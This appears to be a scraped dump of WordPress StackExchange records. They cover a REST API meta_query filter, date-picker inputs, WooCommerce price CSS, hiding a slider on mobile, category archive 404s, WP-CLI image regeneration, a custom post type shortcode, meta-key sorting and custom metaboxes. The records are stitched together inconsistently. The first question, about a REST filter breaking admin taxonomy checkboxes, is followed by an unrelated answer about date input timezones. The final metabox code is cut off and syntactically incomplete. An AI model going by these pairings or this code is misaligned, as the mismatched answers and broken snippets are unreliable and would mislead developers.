I'm using wordpress API, so since I need to filter the API responses by ACF values, I have this filter in my theme **functions.php**:
```
add_filter( 'rest_collection_query', function( $args ) {
$ignore = array('page', 'per_page', 'search', 'order', 'orderby', 'slug');
foreach ( $_GET as $key => $value ) {
if (!in_array($key, $ignore)) {
$args['meta_query'][] = array(
'key' => $key,
'value' => $value,
);
}
}
return $args;
});
```
This works great, except now in the WP admin, my taxonomy checkbox list no longer shows up for the custom post type to which it is registered.
I tried to wrap this block inside `if(!is_admin()) {}`, but that had no effect. Is there a specific syntax I should be using?
Note, I'm using gutenberg... could that be the reason? | The calendar you are referring to is not provided by WordPress. You are using a "date" input field type, which is an HTML5 input specification. The calendar is from your browser based on that.
If your question is about timezone offset for the input itself (so what displays with the input), then you should note that there is no timezone offset for HTML5 "date" inputs. It will always be GMT.
**Option 1: HTML5 "datetime-local"**
One possibility would be to use the input type "datetime-local" (do not use "datetime" as that is a deprecated field type), but keep in mind that may not actually give you what you want either because the timezone will be the user's timezone. If all your users are in the same timezone, then this might be a solution:
```
<input type="datetime-local" name="date_added" id="date_added" class="regular-text" value="<?php echo get_post_meta($post->ID,'date_added',true ); ?>">
```
**Option 2: jQuery UI datepicker**
A better solution might be to use something like the jQuery UI datepicker (which *is* included in WordPress). However, that is also GMT by default and is tricky to adjust for timezone offset. Unfortunately, I can't give you an example of timezone offset, but to get you started so you can use it, add the following to your functions.php:
```
add_action('wp_enqueue_scripts', 'my_add_jquery_datepicker');
function my_add_jquery_datepicker() {
wp_enqueue_script( 'jquery' );
wp_enqueue_script( 'jquery-ui-datepicker' );
$css = wp_register_style( 'jquery-ui', '//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css' );
wp_enqueue_style( 'jquery-ui', $css );
}
```
Then to use it, add some jQuery to attach your field's ID as a datepicker field. Just to give you an easy working example, here's a quick-and-dirty way to add it via `wp_head` (if used, you should implement this in a better way):
```
add_action( 'wp_head', function() {
?>
jQuery(document).ready(function($) {
$( "#date_added" ).datepicker();
});
<?php
});
```
Once you're able to implement the jQuery datepicker, there are examples out there on how to implement a timezone offset for this date. Google is your friend (as is [stackoverflow](https://stackoverflow.com/)).
**Or... leave the input as GMT and store as timezone offset**
However, all of that being noted, if you want to adjust what the user inputs based on a specific timezone offset, you can take the default that you get as GMT and adjust it for the offset. Keep in mind that is not a "best practice" as dates/times should really be stored as GMT and adjusted when displayed. |
333,709 | <p>I need to show sale price under normal price, not on the same line</p>
<p><a href="https://i.stack.imgur.com/vBouN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vBouN.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 333711,
"author": "Karun",
"author_id": 63470,
"author_profile": "https://wordpress.stackexchange.com/users/63470",
"pm_score": 0,
"selected": false,
"text": "<p>If you know the folder structure, you can copy the template file in your custom theme folder and edit the file. \nAnother option you have is using <code>jQuery</code></p>\n\n<pre><code>jQuery('.electro-price del').after('<br/>');\n</code></pre>\n"
},
{
"answer_id": 333733,
"author": "KFish",
"author_id": 158938,
"author_profile": "https://wordpress.stackexchange.com/users/158938",
"pm_score": 1,
"selected": false,
"text": "<p>Why not just use CSS rather than altering the template for such a minor markup change that's really only serving a styling purpose anyway. </p>\n\n<pre><code>.electro-price > ins{\n display: block;\n float: none; /* <-- In case the theme styles have it floated */\n}\n</code></pre>\n\n<p>You may need to use slightly different styling depending on what's already being applied to the element, potentially even the !important flag to force the override, but that's much better than handling a style issue with a template change or JS injection.</p>\n"
}
] | 2019/04/07 | [
"https://wordpress.stackexchange.com/questions/333709",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164621/"
] | I need to show sale price under normal price, not on the same line
[](https://i.stack.imgur.com/vBouN.png) | Why not just use CSS rather than altering the template for such a minor markup change that's really only serving a styling purpose anyway.
```
.electro-price > ins{
display: block;
float: none; /* <-- In case the theme styles have it floated */
}
```
You may need to use slightly different styling depending on what's already being applied to the element, potentially even the !important flag to force the override, but that's much better than handling a style issue with a template change or JS injection. |
333,714 | <p>our site <a href="http://www.irish-pure.de" rel="nofollow noreferrer">www.irish-pure.de</a> has a slider. this header is currently deactivated for mobile via</p>
<pre><code>@media (max-width: 640px) {
.theme-slider-wrapper {
display: none;
}
.benefit-bar__container {
margin-bottom: 1rem;
}
}
</code></pre>
<p>but when I check google pagespeed insights for the page, google recommends to avoid "hidden" images and lists the sliders images.</p>
<p>is there a way to remove the slider entirely for mobile in e.g., in the function.php or something?</p>
<p>thanks,
E.</p>
| [
{
"answer_id": 333716,
"author": "tmdesigned",
"author_id": 28273,
"author_profile": "https://wordpress.stackexchange.com/users/28273",
"pm_score": 1,
"selected": false,
"text": "<p>This is one of those problems that seems like it should have a simple solution, but really doesn't. There are options, they're just not easy.</p>\n\n<p>At least, from what I can see.</p>\n\n<p>CSS is the best approach to detecting browser width IMO. In fact, you really can't detect browser width from PHP. You can with JavaScript but that's where the complexities come in.</p>\n\n<p>Even if you could detect browser width in PHP, you wouldn't want to. What if they made their browser bigger (i.e. rotated their device)? PHP is gone by that point, and can't add it back anymore.</p>\n\n<p>There is a <a href=\"https://www.swimburger.net/blog/web/web-performance-prevent-wasteful-hidden-image-requests\" rel=\"nofollow noreferrer\">clever technique</a> I read about where you use the new HTML5 image srcset to still serve an image at mobile resolution, but a very small one. However since you're using a slider, which I presume means a plug-in, you probably don't have that flexibility.</p>\n\n<p>That leaves you with JavaScript. You could remove the images if the browser width is small, but you'd need to keep watching the viewport width in case it changed, and be ready to put them back. Probably better, only load them when needed (i.e. lazy load). It's possible your slider, or an alternative, would just natively give you that functionality. </p>\n"
},
{
"answer_id": 333717,
"author": "Pat_Morita",
"author_id": 134335,
"author_profile": "https://wordpress.stackexchange.com/users/134335",
"pm_score": 0,
"selected": false,
"text": "<p>You need to change the template that loads the slider. Assuming it is written in php you can use this class to detect if the site is loaded from mobile or not. If its loaded by mobile just don't render the slider.</p>\n\n<p><a href=\"http://mobiledetect.net\" rel=\"nofollow noreferrer\">http://mobiledetect.net</a></p>\n"
}
] | 2019/04/07 | [
"https://wordpress.stackexchange.com/questions/333714",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/162150/"
] | our site [www.irish-pure.de](http://www.irish-pure.de) has a slider. this header is currently deactivated for mobile via
```
@media (max-width: 640px) {
.theme-slider-wrapper {
display: none;
}
.benefit-bar__container {
margin-bottom: 1rem;
}
}
```
but when I check google pagespeed insights for the page, google recommends to avoid "hidden" images and lists the sliders images.
is there a way to remove the slider entirely for mobile in e.g., in the function.php or something?
thanks,
E. | This is one of those problems that seems like it should have a simple solution, but really doesn't. There are options, they're just not easy.
At least, from what I can see.
CSS is the best approach to detecting browser width IMO. In fact, you really can't detect browser width from PHP. You can with JavaScript but that's where the complexities come in.
Even if you could detect browser width in PHP, you wouldn't want to. What if they made their browser bigger (i.e. rotated their device)? PHP is gone by that point, and can't add it back anymore.
There is a [clever technique](https://www.swimburger.net/blog/web/web-performance-prevent-wasteful-hidden-image-requests) I read about where you use the new HTML5 image srcset to still serve an image at mobile resolution, but a very small one. However since you're using a slider, which I presume means a plug-in, you probably don't have that flexibility.
That leaves you with JavaScript. You could remove the images if the browser width is small, but you'd need to keep watching the viewport width in case it changed, and be ready to put them back. Probably better, only load them when needed (i.e. lazy load). It's possible your slider, or an alternative, would just natively give you that functionality. |
333,739 | <p>I'm not sure if this is 'normal' but on my WP install the actual directory for 'category' throws a 404 error.</p>
<p>So, for example, if I had a category called 'apples' then every post or page associated with the 'apples' category has this URL string:</p>
<pre><code>my-site.com/category/apples/
</code></pre>
<p>The above for me loads fine.</p>
<p>However, if I remove the 'apples' from the URL then a 404 error is generated, which I am sure is correct, or should there be an index page or other?</p>
<p>The reason I am asking about this is because I created some custom Taxonomy called 'US States' which works like this:</p>
<pre><code>my-site.com/us-states/florida < loads great with archive
my-site.com/us-states/ < Error 404
</code></pre>
<p>Is there anyway to make the HOME of the actual taxonomy a templated page or other?</p>
<p>Thanks</p>
| [
{
"answer_id": 333740,
"author": "Pat_Morita",
"author_id": 134335,
"author_profile": "https://wordpress.stackexchange.com/users/134335",
"pm_score": -1,
"selected": false,
"text": "<p>You can create template files for each level of the category tree. Also for the one you mentioned. If you create a template called category.php or archive.php WordPress will load it on this level. Place it in your themes root folder.</p>\n\n<p>Find more detailed info on the view hierarchy here: <a href=\"https://developer.wordpress.org/themes/basics/template-hierarchy/#examples\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/themes/basics/template-hierarchy/#examples</a></p>\n"
},
{
"answer_id": 333741,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 3,
"selected": true,
"text": "<p>Yes, it's normal behavior. WordPress uses a set of rewrite rules to process requests. Here are the rules that will match requests related to categories:</p>\n\n<pre><code>[category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$] => index.php?category_name=$matches[1]&feed=$matches[2]\n[category/(.+?)/(feed|rdf|rss|rss2|atom)/?$] => index.php?category_name=$matches[1]&feed=$matches[2]\n[category/(.+?)/page/?([0-9]{1,})/?$] => index.php?category_name=$matches[1]&paged=$matches[2]\n[category/(.+?)/?$] => index.php?category_name=$matches[1]\n</code></pre>\n\n<p>As you can see, all of them require, that the request is longer than <code>/category/</code>.</p>\n\n<p>And it makes sense. </p>\n\n<ul>\n<li><code>category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/</code> - will match the feed for category</li>\n<li><code>[category/(.+?)/(feed|rdf|rss|rss2|atom)/</code> - is a shorter URL for feed</li>\n<li><code>category/(.+?)/page/?([0-9]{1,})/</code> - is support for pagination</li>\n<li><code>category/(.+?)/</code> - is just category listing (first page)</li>\n</ul>\n\n<p>So all of the URLs above are related to given term in this taxonomy and you know which term, because it is defined in URL.</p>\n\n<p>On the other hand, what should be displayed when you go to <code>/category/</code>? No term is defined, so you can't select any one of them. So should it show you all posts on your site? (Blog index already does it).</p>\n\n<p>Sometimes it makes sense to show the list of categories on such URL, but it isn't a common practice.</p>\n\n<p>You can always add your custom rewrite rule to process such requests.</p>\n"
}
] | 2019/04/08 | [
"https://wordpress.stackexchange.com/questions/333739",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/93691/"
] | I'm not sure if this is 'normal' but on my WP install the actual directory for 'category' throws a 404 error.
So, for example, if I had a category called 'apples' then every post or page associated with the 'apples' category has this URL string:
```
my-site.com/category/apples/
```
The above for me loads fine.
However, if I remove the 'apples' from the URL then a 404 error is generated, which I am sure is correct, or should there be an index page or other?
The reason I am asking about this is because I created some custom Taxonomy called 'US States' which works like this:
```
my-site.com/us-states/florida < loads great with archive
my-site.com/us-states/ < Error 404
```
Is there anyway to make the HOME of the actual taxonomy a templated page or other?
Thanks | Yes, it's normal behavior. WordPress uses a set of rewrite rules to process requests. Here are the rules that will match requests related to categories:
```
[category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$] => index.php?category_name=$matches[1]&feed=$matches[2]
[category/(.+?)/(feed|rdf|rss|rss2|atom)/?$] => index.php?category_name=$matches[1]&feed=$matches[2]
[category/(.+?)/page/?([0-9]{1,})/?$] => index.php?category_name=$matches[1]&paged=$matches[2]
[category/(.+?)/?$] => index.php?category_name=$matches[1]
```
As you can see, all of them require, that the request is longer than `/category/`.
And it makes sense.
* `category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/` - will match the feed for category
* `[category/(.+?)/(feed|rdf|rss|rss2|atom)/` - is a shorter URL for feed
* `category/(.+?)/page/?([0-9]{1,})/` - is support for pagination
* `category/(.+?)/` - is just category listing (first page)
So all of the URLs above are related to given term in this taxonomy and you know which term, because it is defined in URL.
On the other hand, what should be displayed when you go to `/category/`? No term is defined, so you can't select any one of them. So should it show you all posts on your site? (Blog index already does it).
Sometimes it makes sense to show the list of categories on such URL, but it isn't a common practice.
You can always add your custom rewrite rule to process such requests. |
333,752 | <p>I have around 1200 large images which I'd like to regenerate. I'm using the WP-CLI command <code>wp media regenerate</code>. After around 61 images are generated, the terminal shows the message <code>Killed</code>.</p>
<p><a href="https://i.stack.imgur.com/3fLrV.png" rel="noreferrer"><img src="https://i.stack.imgur.com/3fLrV.png" alt="enter image description here"></a></p>
<p>Why is this happening and how can I fix it?</p>
| [
{
"answer_id": 333740,
"author": "Pat_Morita",
"author_id": 134335,
"author_profile": "https://wordpress.stackexchange.com/users/134335",
"pm_score": -1,
"selected": false,
"text": "<p>You can create template files for each level of the category tree. Also for the one you mentioned. If you create a template called category.php or archive.php WordPress will load it on this level. Place it in your themes root folder.</p>\n\n<p>Find more detailed info on the view hierarchy here: <a href=\"https://developer.wordpress.org/themes/basics/template-hierarchy/#examples\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/themes/basics/template-hierarchy/#examples</a></p>\n"
},
{
"answer_id": 333741,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 3,
"selected": true,
"text": "<p>Yes, it's normal behavior. WordPress uses a set of rewrite rules to process requests. Here are the rules that will match requests related to categories:</p>\n\n<pre><code>[category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$] => index.php?category_name=$matches[1]&feed=$matches[2]\n[category/(.+?)/(feed|rdf|rss|rss2|atom)/?$] => index.php?category_name=$matches[1]&feed=$matches[2]\n[category/(.+?)/page/?([0-9]{1,})/?$] => index.php?category_name=$matches[1]&paged=$matches[2]\n[category/(.+?)/?$] => index.php?category_name=$matches[1]\n</code></pre>\n\n<p>As you can see, all of them require, that the request is longer than <code>/category/</code>.</p>\n\n<p>And it makes sense. </p>\n\n<ul>\n<li><code>category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/</code> - will match the feed for category</li>\n<li><code>[category/(.+?)/(feed|rdf|rss|rss2|atom)/</code> - is a shorter URL for feed</li>\n<li><code>category/(.+?)/page/?([0-9]{1,})/</code> - is support for pagination</li>\n<li><code>category/(.+?)/</code> - is just category listing (first page)</li>\n</ul>\n\n<p>So all of the URLs above are related to given term in this taxonomy and you know which term, because it is defined in URL.</p>\n\n<p>On the other hand, what should be displayed when you go to <code>/category/</code>? No term is defined, so you can't select any one of them. So should it show you all posts on your site? (Blog index already does it).</p>\n\n<p>Sometimes it makes sense to show the list of categories on such URL, but it isn't a common practice.</p>\n\n<p>You can always add your custom rewrite rule to process such requests.</p>\n"
}
] | 2019/04/08 | [
"https://wordpress.stackexchange.com/questions/333752",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/37548/"
] | I have around 1200 large images which I'd like to regenerate. I'm using the WP-CLI command `wp media regenerate`. After around 61 images are generated, the terminal shows the message `Killed`.
[](https://i.stack.imgur.com/3fLrV.png)
Why is this happening and how can I fix it? | Yes, it's normal behavior. WordPress uses a set of rewrite rules to process requests. Here are the rules that will match requests related to categories:
```
[category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$] => index.php?category_name=$matches[1]&feed=$matches[2]
[category/(.+?)/(feed|rdf|rss|rss2|atom)/?$] => index.php?category_name=$matches[1]&feed=$matches[2]
[category/(.+?)/page/?([0-9]{1,})/?$] => index.php?category_name=$matches[1]&paged=$matches[2]
[category/(.+?)/?$] => index.php?category_name=$matches[1]
```
As you can see, all of them require, that the request is longer than `/category/`.
And it makes sense.
* `category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/` - will match the feed for category
* `[category/(.+?)/(feed|rdf|rss|rss2|atom)/` - is a shorter URL for feed
* `category/(.+?)/page/?([0-9]{1,})/` - is support for pagination
* `category/(.+?)/` - is just category listing (first page)
So all of the URLs above are related to given term in this taxonomy and you know which term, because it is defined in URL.
On the other hand, what should be displayed when you go to `/category/`? No term is defined, so you can't select any one of them. So should it show you all posts on your site? (Blog index already does it).
Sometimes it makes sense to show the list of categories on such URL, but it isn't a common practice.
You can always add your custom rewrite rule to process such requests. |
333,786 | <p>I create a custom post type and wrote a shortcode to display the posts on the front end of my website, but the code only displays one (1) post, and the most recent one. See front-end page here -> <a href="https://www.800goldlaw.com/careers" rel="nofollow noreferrer">https://www.800goldlaw.com/careers</a>. The CPT is the "jobs board".</p>
<p>Here is my code. Any advice for cleaning this code up and making sure all of my posts display on the front end? Thank you!</p>
<pre><code>function locg_view_jobs($atts) {
$atts = shortcode_atts(
array( //default values
'post_type' => 'locg_jobs',
'post_status' => 'publish',
),
$atts, 'locgviewjobs' );
global $post;
$posts = new WP_query($atts);
$output = '';
$terms = get_the_terms( get_the_ID(), 'job_cat'); foreach ($terms as $term) { $job_cat_links[]=$term->name; }
$job_cat_go = join(",", $job_cat_links);
if ($posts->have_posts())
while ($posts->have_posts()):
$posts->the_post();
$out = '<div class="job_post"><h4><a href=" ' . get_the_permalink() . '" title="Apply Now" />' . get_the_title() . '</a></h4>
<div class="jobs_meta">
<span class="meta">Posted Date:</span> ' . get_the_date() . '</span> | <span class="meta">Open Until:</span> ' . get_post_meta($post->ID, 'expiredate', true) . ' | <span class="meta">Department:</span> ' . get_post_meta($post->ID, 'Department', true) . ' </div>
<p>' . get_the_excerpt() . '</p>
<a class="red_link" target="_blank" href=" ' . get_the_permalink() . '" /><button class="red" style="margin-right: 10px;"/>Learn More</button></a>
<a class="red_link" target="_blank" href="http://gld.la/2GciVF4" /><button class="red"/>Apply Now</button></a>
</div>';
endwhile;
else return( 'Sorry, there are no jobs available at this time. Check back often! In the meantime, you can fill out a blank application for us to hold on file. <a href="http://gld.la/2GciVF4" target="_blank" />Click here</a>.' );
wp_reset_query();
return html_entity_decode($out);
}
add_shortcode( 'locgviewjobs', 'locg_view_jobs');
</code></pre>
| [
{
"answer_id": 333788,
"author": "mrben522",
"author_id": 84703,
"author_profile": "https://wordpress.stackexchange.com/users/84703",
"pm_score": 1,
"selected": false,
"text": "<p>Try adding <code>'posts_per_page' => -1,</code> to your default atts. This will make the query return all of the posts instead of limiting it. Also you're overriding <code>$out</code> each loop instead of adding to it. Change <code>$out = '<div class</code> to <code>$out .= '<div class</code></p>\n"
},
{
"answer_id": 333809,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 0,
"selected": false,
"text": "<p>Try this</p>\n\n<pre><code>function locg_view_jobs($atts) {\n $atts = shortcode_atts(\n array( //default values\n 'post_type' => 'locg_jobs',\n 'post_status' => 'publish',\n ), \n $atts, 'locgviewjobs' );\n\n global $post;\n\n $posts = new WP_query($atts);\n $out = '';\n\n $terms = get_the_terms( get_the_ID(), 'job_cat');\n\n foreach ($terms as $term) { \n $job_cat_links[]=$term->name;\n }\n\n $job_cat_go = join(\",\", $job_cat_links);\n\n if ($posts->have_posts())\n while ($posts->have_posts()):\n $posts->the_post();\n $out .= '<div class=\"job_post\"><h4><a href=\" ' . get_the_permalink() . '\" title=\"Apply Now\" />' . get_the_title() . '</a></h4>\n <div class=\"jobs_meta\">\n <span class=\"meta\">Posted Date:</span> ' . get_the_date() . '</span> | <span class=\"meta\">Open Until:</span> ' . get_post_meta($post->ID, 'expiredate', true) . ' | <span class=\"meta\">Department:</span> ' . get_post_meta($post->ID, 'Department', true) . ' </div>\n <p>' . get_the_excerpt() . '</p>\n <a class=\"red_link\" target=\"_blank\" href=\" ' . get_the_permalink() . '\" /><button class=\"red\" style=\"margin-right: 10px;\"/>Learn More</button></a>\n <a class=\"red_link\" target=\"_blank\" href=\"http://gld.la/2GciVF4\" /><button class=\"red\"/>Apply Now</button></a>\n </div>';\n\n endwhile;\n else return( 'Sorry, there are no jobs available at this time. Check back often! In the meantime, you can fill out a blank application for us to hold on file. <a href=\"http://gld.la/2GciVF4\" target=\"_blank\" />Click here</a>.' );\n wp_reset_query();\n return html_entity_decode($out);\n}\nadd_shortcode( 'locgviewjobs', 'locg_view_jobs');\n</code></pre>\n"
}
] | 2019/04/08 | [
"https://wordpress.stackexchange.com/questions/333786",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143224/"
] | I create a custom post type and wrote a shortcode to display the posts on the front end of my website, but the code only displays one (1) post, and the most recent one. See front-end page here -> <https://www.800goldlaw.com/careers>. The CPT is the "jobs board".
Here is my code. Any advice for cleaning this code up and making sure all of my posts display on the front end? Thank you!
```
function locg_view_jobs($atts) {
$atts = shortcode_atts(
array( //default values
'post_type' => 'locg_jobs',
'post_status' => 'publish',
),
$atts, 'locgviewjobs' );
global $post;
$posts = new WP_query($atts);
$output = '';
$terms = get_the_terms( get_the_ID(), 'job_cat'); foreach ($terms as $term) { $job_cat_links[]=$term->name; }
$job_cat_go = join(",", $job_cat_links);
if ($posts->have_posts())
while ($posts->have_posts()):
$posts->the_post();
$out = '<div class="job_post"><h4><a href=" ' . get_the_permalink() . '" title="Apply Now" />' . get_the_title() . '</a></h4>
<div class="jobs_meta">
<span class="meta">Posted Date:</span> ' . get_the_date() . '</span> | <span class="meta">Open Until:</span> ' . get_post_meta($post->ID, 'expiredate', true) . ' | <span class="meta">Department:</span> ' . get_post_meta($post->ID, 'Department', true) . ' </div>
<p>' . get_the_excerpt() . '</p>
<a class="red_link" target="_blank" href=" ' . get_the_permalink() . '" /><button class="red" style="margin-right: 10px;"/>Learn More</button></a>
<a class="red_link" target="_blank" href="http://gld.la/2GciVF4" /><button class="red"/>Apply Now</button></a>
</div>';
endwhile;
else return( 'Sorry, there are no jobs available at this time. Check back often! In the meantime, you can fill out a blank application for us to hold on file. <a href="http://gld.la/2GciVF4" target="_blank" />Click here</a>.' );
wp_reset_query();
return html_entity_decode($out);
}
add_shortcode( 'locgviewjobs', 'locg_view_jobs');
``` | Try adding `'posts_per_page' => -1,` to your default atts. This will make the query return all of the posts instead of limiting it. Also you're overriding `$out` each loop instead of adding to it. Change `$out = '<div class` to `$out .= '<div class` |
333,787 | <p>I want to query and SORT in WP_Query(). But whatever I do, it only prints posts with meta_key set up. But I want all the results and just sort them.</p>
<p>This is my query:</p>
<pre><code>$query = new WP_Query(array(
'post_type' => 'my_post_type',
'post_status' => 'publish',
'posts_per_page' => -1,
'meta_key' => 'post_views_count',
'orderby' => 'meta_value_num',
'order' => 'DESC'
));
</code></pre>
<p>Any ideas how to make sorting happen? It sorts, but only shows posts with meta_key set up. I want all the posts.</p>
| [
{
"answer_id": 333794,
"author": "Sally CJ",
"author_id": 137402,
"author_profile": "https://wordpress.stackexchange.com/users/137402",
"pm_score": 4,
"selected": true,
"text": "<p>If you want to sort the posts by the meta <code>post_views_count</code>, and still include posts that <em>do not</em> have that meta, you can use <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters\" rel=\"noreferrer\"><code>meta_query</code></a> like so:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>'meta_query' => array(\n 'relation' => 'OR', // make sure it's OR\n // Include posts that have the meta.\n array(\n 'key' => 'post_views_count',\n 'compare' => 'EXISTS',\n ),\n // Include posts that don't have the meta.\n array(\n 'key' => 'post_views_count',\n 'compare' => 'NOT EXISTS',\n ),\n),\n</code></pre>\n\n<p>And you can just use that in place of this:</p>\n\n<pre><code>'meta_key' => 'post_views_count',\n</code></pre>\n\n<p>I.e. Your code would look like:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>$query = new WP_Query(array(\n 'post_type' => 'my_post_type',\n 'post_status' => 'publish',\n 'posts_per_page' => -1,\n 'meta_query' => array(\n 'relation' => 'OR',\n array(\n 'key' => 'post_views_count',\n 'compare' => 'EXISTS',\n ),\n array(\n 'key' => 'post_views_count',\n 'compare' => 'NOT EXISTS',\n ),\n ),\n 'orderby' => 'meta_value_num',\n 'order' => 'DESC',\n));\n</code></pre>\n"
},
{
"answer_id": 333795,
"author": "leymannx",
"author_id": 30597,
"author_profile": "https://wordpress.stackexchange.com/users/30597",
"pm_score": 1,
"selected": false,
"text": "<p>Have you already tried <code>'meta_query'</code>? See <a href=\"https://wordpress.stackexchange.com/a/246358/30597\">Order by multiple meta key and meta value [closed]</a>. In your case maybe like so:</p>\n\n<pre><code>$query = new WP_Query([\n 'post_type' => 'my_post_type',\n 'post_status' => 'publish',\n 'posts_per_page' => -1,\n 'meta_query' => [\n 'relation' => 'OR',\n 'post_views_count' => [\n 'key' => 'post_views_count',\n 'compare' => 'EXISTS',\n ],\n ],\n 'orderby' => [\n 'post_views_count' => 'DESC',\n 'title' => 'ASC',\n ],\n]);\n</code></pre>\n"
}
] | 2019/04/08 | [
"https://wordpress.stackexchange.com/questions/333787",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/154046/"
] | I want to query and SORT in WP\_Query(). But whatever I do, it only prints posts with meta\_key set up. But I want all the results and just sort them.
This is my query:
```
$query = new WP_Query(array(
'post_type' => 'my_post_type',
'post_status' => 'publish',
'posts_per_page' => -1,
'meta_key' => 'post_views_count',
'orderby' => 'meta_value_num',
'order' => 'DESC'
));
```
Any ideas how to make sorting happen? It sorts, but only shows posts with meta\_key set up. I want all the posts. | If you want to sort the posts by the meta `post_views_count`, and still include posts that *do not* have that meta, you can use [`meta_query`](https://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters) like so:
```php
'meta_query' => array(
'relation' => 'OR', // make sure it's OR
// Include posts that have the meta.
array(
'key' => 'post_views_count',
'compare' => 'EXISTS',
),
// Include posts that don't have the meta.
array(
'key' => 'post_views_count',
'compare' => 'NOT EXISTS',
),
),
```
And you can just use that in place of this:
```
'meta_key' => 'post_views_count',
```
I.e. Your code would look like:
```php
$query = new WP_Query(array(
'post_type' => 'my_post_type',
'post_status' => 'publish',
'posts_per_page' => -1,
'meta_query' => array(
'relation' => 'OR',
array(
'key' => 'post_views_count',
'compare' => 'EXISTS',
),
array(
'key' => 'post_views_count',
'compare' => 'NOT EXISTS',
),
),
'orderby' => 'meta_value_num',
'order' => 'DESC',
));
``` |
333,791 | <p>I created a custom post type with custom date, time and checkbox fields.
I'm having a problem with the date and time fields that do not register in WordPress Administration or in the database.
And also there is a problem with a custom checkbox field that gets me a value but if I check two values, only one value appears, and no registration in the Wordpress administrator.</p>
<p>I've attached my code:</p>
<pre><code>class Fastcat_Metabox
{
private $id;
private $title;
private $post_type;
private $fields = [];
//Ajout uploader image parti organisateur
public static function addJS(){
add_action('admin_enqueue_scripts', function(){
wp_register_script('uploaderjs', get_template_directory_uri() . '/assets/js/uplaoder.js');
wp_enqueue_script('uploaderjs');
});
}
/**
* Fastcat_Metabox constructor.
* @param $id ID de la boite
* @param $title Titre de la boite
* @param $post_type Post type
*/
// Construction de la function
public function __construct($id , $title, $post_type)
{
add_action('admin_init', array(&$this, 'create'));
add_action('save_post', array(&$this, 'save'));
$this->id = $id;
$this->title = $title;
$this->post_type = $post_type;
}
// Création de la fontion
public function create(){
if(function_exists('add_meta_box')) {
add_meta_box($this->id , $this->title, array(&$this, 'render'), $this->post_type);
}
//Sauvegarde des données et vérification des permission et du nonce
public function save($post_id){
//On ne fais rien en cas de save Ajax
if(
(defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) ||
(defined('DOING_AJAX') && DOING_AJAX)
){
return false;
}
//Vérifier permission
if(!current_user_can('edit_post', $post_id)){
return false;
}
//On vérifie le nonce
if (!wp_verify_nonce($_POST[$this->id . '_nonce'], $this->id)){
return false;
}
// Vérification de toutes les publications , suppression pour remplacement si déjà existant , ajout si nouveau etc
foreach($this->fields as $field) {
$meta = $field['id'];
if(isset($_POST[$meta])){
$value = $_POST[$meta];
if(get_post_meta($post_id, $meta)){
update_post_meta($post_id, $meta, $value);
} else {
if ($value === '') {
delete_post_meta($post_id, $meta);
} else {
add_post_meta($post_id, $meta , $value );
}
}
}
}
}
// Affichage de tout les nouveaux champs ajouter dans le dashboard
public function render(){
global $post;
foreach($this->fields as $field) {
extract($field);
$value = get_post_meta($post->ID, $id , true);
if($value == ''){
$value = $default;
}
require __DIR__ .'/'. $field['type'] . '.php';
}
echo '<input type="hidden" name="' .$this->id .'_nonce" value="' .wp_create_nonce($this->id). '">';
}
// Création des nouveaux champs
public function add($id, $label, $type = 'text', $default='') {
$this->fields[] = [
'id' => $id,
'name' => $label,
'type' => $type,
'default' => $default
];
return $this;
}
}
Fastcat_Metabox::addJS();
// CUSTOM POST TYPE -> COMPETITION -> Ajout des parties Information et Date supplémentaire
$box = new Fastcat_Metabox('compet' , 'Compétition', 'competition');
$box->add('fastcat_adresse','<strong> Adresse: </strong> ')
->add('fastcat_date', '<strong>Date </strong> ', 'date')
->add('fastcat_starttime', '<strong>Heure de début </strong> ', 'time')
->add('fastcat_endtime', ' <strong>Heure de fin </strong>', 'timeend')
->add('fastcat_choice', '<strong>Choix compétitions </strong>', 'checkbox')
->add('fastcat_description', '<strong>Description de la compétition </strong>', 'textarea')
->add('fastcat_space', '<strong>Nombre de place </strong> ', 'number')
->add('fastcat_rate', '<strong>Tarif </strong>', 'rate');
$box = new Fastcat_Metabox('ition' , 'Date Supplémentaire', 'competition');
$box->add('fastcat_date2', '<strong>Date</strong> ', 'date2')
->add('fastcat_starttime2', '<strong>Heure de début</strong> ', 'time2')
->add('fastcat_endtime2', '<strong> Heure de fin </strong>', 'timeend2')
->add('fastcat_date3', '<strong>Date</strong> ', 'date3')
->add('fastcat_starttime3', '<strong>Heure de début</strong> ', 'time3')
->add('fastcat_endtime3', '<strong> Heure de fin</strong> ', 'timeend3');
$box = new Fastcat_Metabox('cat' , 'Organisateur', 'competition');
$box->add('fastcat_organisateur','<strong>Nom de l\'organisateur</strong>','name_organisateur')
->add('fastcat_picture', '<strong Image de l\'organisateur</strong>','picture_organisateur')
->add('fastcat_club', '<strong>Numéro de club</strong> ', 'number_club')
->add('fastcat_adresse','<strong> Adresse: </strong> ', 'text')
->add('fastcat_phone', '<strong> Téléphone </strong>', 'phone')
